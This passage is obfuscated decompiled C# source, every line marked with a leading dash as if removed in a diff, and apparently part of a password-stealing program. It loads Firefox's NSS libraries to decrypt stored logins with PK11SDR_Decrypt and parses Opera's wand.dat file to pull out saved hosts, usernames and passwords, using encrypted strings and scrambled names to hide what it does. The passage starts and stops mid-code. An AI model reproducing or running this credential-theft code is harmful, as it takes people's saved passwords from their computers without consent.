- if (Regex.IsMatch(input, yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("v" + Conversions.ToString(Strings.Chr(237)) + Conversions.ToString(Strings.Chr(137)) + "Y" + Conversions.ToString(Strings.Chr(156)) + ";" + Conversions.ToString(Strings.Chr(171)) + Conversions.ToString(Strings.Chr(140)) + "\u001A" + Conversions.ToString(Strings.Chr(193)) + "\u001F|$" + Conversions.ToString(Strings.Chr(199)))))
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.oivGmTktmoB(str3);
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.signon = input;
- }
- checked { ++index2; }
- }
- else
- {
- ProjectData.EndApp();
- break;
- }
- }
- checked { ++index1; }
- }
- else
- break;
- }
- string signon = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.signon;
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem tsecItem = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem();
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem result1 = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem();
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem result2 = new yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem();
- Base @base = new Base(signon);
- DataTable dataTable1 = @base.ExecuteQuery(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(193)) + Conversions.ToString(Strings.Chr(162)) + "r" + Conversions.ToString(Strings.Chr(176)) + "\u0001" + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(136)) + "I" + Conversions.ToString(Strings.Chr(246)) + "!Z\u001D" + Conversions.ToString(Strings.Chr(130)) + Conversions.ToString(Strings.Chr(174)) + Conversions.ToString(Strings.Chr(234)) + "n" + Conversions.ToString(Strings.Chr(178)) + " gvuxy\u001C"));
- DataTable dataTable2 = @base.ExecuteQuery(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(193)) + Conversions.ToString(Strings.Chr(162)) + "r" + Conversions.ToString(Strings.Chr(176)) + "\u0001" + Conversions.ToString(Strings.Chr(248)) + Conversions.ToString(Strings.Chr(136)) + "I" + Conversions.ToString(Strings.Chr(246)) + "!Z\u001D" + Conversions.ToString(Strings.Chr(130)) + Conversions.ToString(Strings.Chr(174)) + Conversions.ToString(Strings.Chr(234)) + "n" + Conversions.ToString(Strings.Chr(178)) + "(ab}tfBa " + Conversions.ToString(Strings.Chr(228)) + Conversions.ToString(Strings.Chr(188)) + Conversions.ToString(Strings.Chr(141)) + Conversions.ToString(Strings.Chr(161)) + "\n"));
- try
- {
- foreach (DataRow row in dataTable2.Rows)
- str1 = str1 + Environment.NewLine + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("m" + Conversions.ToString(Strings.Chr(235)) + Conversions.ToString(Strings.Chr(157)) + "C" + Conversions.ToString(Strings.Chr(157)) + "4" + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(199))).ToString();
- }
- finally
- {
- System.Collections.IEnumerator enumerator;
- if (enumerator is IDisposable)
- (enumerator as IDisposable).Dispose();
- }
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.OMhwbbbdVrvk(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.bvryeuuo(), true, 0L);
- try
- {
- foreach (DataRow row in dataTable1.Rows)
- {
- string str4 = str1 + Environment.NewLine + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("D" + Conversions.ToString(Strings.Chr(244)) + Conversions.ToString(Strings.Chr(158)) + "[" + Conversions.ToString(Strings.Chr(154)) + "6" + Conversions.ToString(Strings.Chr(185)) + Conversions.ToString(Strings.Chr(214)) + "\0" + Conversions.ToString(Strings.Chr(223)) + "\u001D/p" + Conversions.ToString(Strings.Chr(228)) + Conversions.ToString(Strings.Chr(170)) + Conversions.ToString(Strings.Chr(247)) + "q" + Conversions.ToString(Strings.Chr(171)) + "#p");
- string str5 = Convert.ToString(row[yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("c" + Conversions.ToString(Strings.Chr(235)) + Conversions.ToString(Strings.Chr(156)) + "Z" + Conversions.ToString(Strings.Chr(160)) + " " + Conversions.ToString(Strings.Chr(186)) + Conversions.ToString(Strings.Chr(207)) + "\0" + Conversions.ToString(Strings.Chr(196)) + "&G\u001C")].ToString());
- str1 = str4 + Environment.NewLine + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("V" + Conversions.ToString(Strings.Chr(225)) + Conversions.ToString(Strings.Chr(135)) + "C" + Conversions.ToString(Strings.Chr(150)) + "o" + Conversions.ToString(Strings.Chr(248))) + str5;
- StringBuilder inStr1 = new StringBuilder(row[yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("`" + Conversions.ToString(Strings.Chr(234)) + Conversions.ToString(Strings.Chr(141)) + "E" + Conversions.ToString(Strings.Chr(138)) + "%" + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(199)) + "\r" + Conversions.ToString(Strings.Chr(229)) + "\0p\"" + Conversions.ToString(Strings.Chr(204)) + Conversions.ToString(Strings.Chr(162)) + Conversions.ToString(Strings.Chr(232)) + "q")].ToString());
- IntPtr num = new IntPtr(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr1, inStr1.Length));
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem structure1 = (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem) Marshal.PtrToStructure(num, typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem));
- if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CqSzxpvjJWBHufugp(ref structure1, ref result1, 0) == 0 && result1.SECItemLen != 0)
- {
- byte[] numArray = new byte[checked (result1.SECItemLen - 1 + 1)];
- num = new IntPtr(result1.SECItemData);
- Marshal.Copy(num, numArray, 0, result1.SECItemLen);
- str1 = str1 + Environment.NewLine + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("P" + Conversions.ToString(Strings.Chr(247)) + Conversions.ToString(Strings.Chr(139)) + "E" + Conversions.ToString(Strings.Chr(157)) + "4" + Conversions.ToString(Strings.Chr(181)) + Conversions.ToString(Strings.Chr(199)) + "S" + Conversions.ToString(Strings.Chr(144))) + Encoding.ASCII.GetString(numArray);
- }
- StringBuilder inStr2 = new StringBuilder(row[yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("`" + Conversions.ToString(Strings.Chr(234)) + Conversions.ToString(Strings.Chr(141)) + "E" + Conversions.ToString(Strings.Chr(138)) + "%" + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(199)) + "\r" + Conversions.ToString(Strings.Chr(224)) + "\u0012f#" + Conversions.ToString(Strings.Chr(213)) + Conversions.ToString(Strings.Chr(172)) + Conversions.ToString(Strings.Chr(247)) + "p")].ToString());
- num = new IntPtr(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr2, inStr2.Length));
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem structure2 = (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem) Marshal.PtrToStructure(num, typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem));
- if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CqSzxpvjJWBHufugp(ref structure2, ref result2, 0) == 0 && result2.SECItemLen != 0)
- {
- byte[] numArray = new byte[checked (result2.SECItemLen - 1 + 1)];
- num = new IntPtr(result2.SECItemData);
- Marshal.Copy(num, numArray, 0, result2.SECItemLen);
- str1 = str1 + Environment.NewLine + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.gwcqPBHXULYDADOrwheWpKJ("U" + Conversions.ToString(Strings.Chr(229)) + Conversions.ToString(Strings.Chr(157)) + "D" + Conversions.ToString(Strings.Chr(132)) + ":" + Conversions.ToString(Strings.Chr(170)) + Conversions.ToString(Strings.Chr(214)) + "S" + Conversions.ToString(Strings.Chr(144))) + Encoding.ASCII.GetString(numArray) + Environment.NewLine;
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.AText.Text = str1;
- }
- }
- }
- finally
- {
- System.Collections.IEnumerator enumerator;
- if (enumerator is IDisposable)
- (enumerator as IDisposable).Dispose();
- }
- }
-
- [DllImport("kernel32.dll")]
- private static extern IntPtr LoadLibrary(string dllFilePath);
-
- [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)]
- private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
-
- public static long oivGmTktmoB(string configdir)
- {
- string str = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\";
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "mozcrt19.dll");
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "nspr4.dll");
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "plc4.dll");
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "plds4.dll");
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "ssutil3.dll");
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "mozsqlite3.dll");
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "nssutil3.dll");
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "softokn3.dll");
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.NSS3 = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoadLibrary(str + "nss3.dll");
- return ((yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate) Marshal.GetDelegateForFunctionPointer(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetProcAddress(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.NSS3, "NSS_Init"), typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate)))(configdir);
- }
-
- public static long bvryeuuo() => ((yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate2) Marshal.GetDelegateForFunctionPointer(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetProcAddress(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.NSS3, "PK11_GetInternalKeySlot"), typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate2)))();
-
- public static long OMhwbbbdVrvk(long slot, bool loadCerts, long wincx) => ((yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate3) Marshal.GetDelegateForFunctionPointer(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetProcAddress(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.NSS3, "PK11_Authenticate"), typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate3)))(slot, loadCerts, wincx);
-
- public static int xSGTjizteYUcgxxr(
- IntPtr arenaOpt,
- IntPtr outItemOpt,
- StringBuilder inStr,
- int inLen)
- {
- return ((yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate4) Marshal.GetDelegateForFunctionPointer(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetProcAddress(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.NSS3, "NSSBase64_DecodeBuffer"), typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate4)))(arenaOpt, outItemOpt, inStr, inLen);
- }
-
- public static int CqSzxpvjJWBHufugp(
- ref yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem data,
- ref yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem result,
- int cx)
- {
- return ((yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate5) Marshal.GetDelegateForFunctionPointer(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetProcAddress(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.NSS3, "PK11SDR_Decrypt"), typeof (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DLLFunctionDelegate5)))(ref data, ref result, cx);
- }
-
- public static string GetOperaa()
- {
- List stringList = new List();
- string[] strArray1 = (string[]) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DecryptInfo();
- StringBuilder stringBuilder = new StringBuilder();
- string[] strArray2 = strArray1;
- int index1 = 0;
- while (index1 < strArray2.Length)
- {
- string Left = strArray2[index1];
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left, "", false) != 0)
- stringList.Add(Left);
- checked { ++index1; }
- }
- if (stringList.Count == 0)
- return " \r\n";
- string operaa;
- try
- {
- int num = checked (stringList.Count - 1);
- int index2 = 0;
- while (index2 <= num)
- {
- stringBuilder.Append("Application: Opera\r\n");
- stringBuilder.Append("Host: " + stringList[index2].Substring(0) + "\r\n");
- stringBuilder.Append("User Name: " + stringList[checked (index2 + 1)].Substring(1) + "\r\n");
- stringBuilder.Append("Password: " + stringList[checked (index2 + 2)].Substring(1) + "\r\n");
- stringList[index2].Substring(1);
- stringList[checked (index2 + 1)].Substring(1);
- stringList[checked (index2 + 2)].Substring(1);
- checked { index2 += 3; }
- }
- operaa = stringBuilder.ToString();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- return operaa;
- }
-
- public static object DecryptInfo()
- {
- if (System.IO.File.Exists(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.path + "\\Opera\\Opera\\wand.dat"))
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.path += "\\Opera\\Opera\\wand.dat";
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.version2();
- }
- else if (System.IO.File.Exists(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.path + "\\Opera\\Opera\\profile\\wand.dat"))
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.path += "\\Opera\\Opera\\profile\\wand.dat";
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.version2();
- }
- return (object) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoginData;
- }
-
- private static void version2()
- {
- try
- {
- byte[] sourceArray = System.IO.File.ReadAllBytes(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.path);
- int num1 = checked (sourceArray.Length - 5);
- int index1 = 0;
- while (index1 <= num1)
- {
- if (sourceArray[index1] == (byte) 0 && sourceArray[checked (index1 + 1)] == (byte) 0 && sourceArray[checked (index1 + 2)] == (byte) 0 && sourceArray[checked (index1 + 3)] == (byte) 8)
- {
- int num2 = (int) sourceArray[checked (index1 + 15)];
- byte[] numArray1 = new byte[8];
- byte[] numArray2 = new byte[checked (num2 - 1 + 1)];
- Array.Copy((Array) sourceArray, checked (index1 + 4), (Array) numArray1, 0, numArray1.Length);
- Array.Copy((Array) sourceArray, checked (index1 + 16), (Array) numArray2, 0, numArray2.Length);
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DOutput = Conversions.ToString(Microsoft.VisualBasic.CompilerServices.Operators.AddObject((object) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DOutput, Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.decrypt2_method(numArray1, numArray2), (object) "\r\n")));
- checked { index1 += 11 + num2; }
- }
- checked { ++index1; }
- }
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.DOutput.Split(Conversions.ToChar(Environment.NewLine));
- int index2 = 0;
- do
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index2] = (string) null;
- checked { ++index2; }
- }
- while (index2 <= 3);
- int num3 = checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines.Length - 1);
- int index3 = 0;
- while (index3 <= num3)
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrlTemp = (string) null;
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUserTemp = (string) null;
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPassTemp = (string) null;
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c = 0;
- try
- {
- if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Contains("http://") || yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Contains("https://") || yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Contains("ftp://"))
- {
- if (index3 != 0)
- {
- try
- {
- int num4 = checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Length - 1);
- int num5 = 0;
- while (num5 <= num4)
- {
- if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3][checked (num5 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c)] > '\u007F')
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Remove(checked (num5 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c), 1);
- checked { ++yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c; }
- }
- checked { ++num5; }
- }
- if (checked (index3 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl) == 1)
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrlTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3];
- else if (checked (index3 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl) == 2)
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrlTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3];
- if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Contains("ftp://"))
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrlTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3];
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl = index3;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- else if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ftp)
- {
- if (checked (index3 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl) != 1)
- {
- if (checked (index3 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl) != 2)
- goto label_51;
- }
- try
- {
- int num6 = checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Length - 1);
- int num7 = 0;
- while (num7 <= num6)
- {
- if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3][checked (num7 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c)] > '\u007F')
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Remove(checked (num7 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c), 1);
- checked { ++yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c; }
- }
- checked { ++num7; }
- }
- if (checked (index3 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl) == 1)
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUserTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3];
- else if (checked (index3 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl) == 2)
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPassTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3];
- checked { ++yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c1; }
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ftp = false;
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- else if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl != 0)
- {
- if (index3 != checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl + 2))
- {
- if (index3 != checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl + 4))
- goto label_51;
- }
- try
- {
- int num8 = checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Length - 1);
- int num9 = 0;
- while (num9 <= num8)
- {
- if (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3][checked (num9 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c)] > '\u007F')
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3].Remove(checked (num9 - yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c), 1);
- checked { ++yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c; }
- }
- checked { ++num9; }
- }
- if (index3 == checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl + 2))
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUserTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3];
- else if (index3 == checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.lasturl + 4))
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPassTemp = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Lines[index3];
- checked { ++yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c1; }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
-label_51:
- try
- {
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrlTemp, (string) null, false) != 0)
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrl[yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c1] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrlTemp;
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUserTemp, (string) null, false) != 0)
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUser[yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c1] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUserTemp;
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPassTemp, (string) null, false) != 0)
- {
- try
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPass[checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c1 - 1)] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPassTemp;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- checked { ++index3; }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- int num = checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrl.Length - 1);
- int index = 0;
- while (index <= num && Microsoft.VisualBasic.CompilerServices.Operators.CompareString(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrl[index], "", false) != 0)
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoginData[yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c2] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUrl[index];
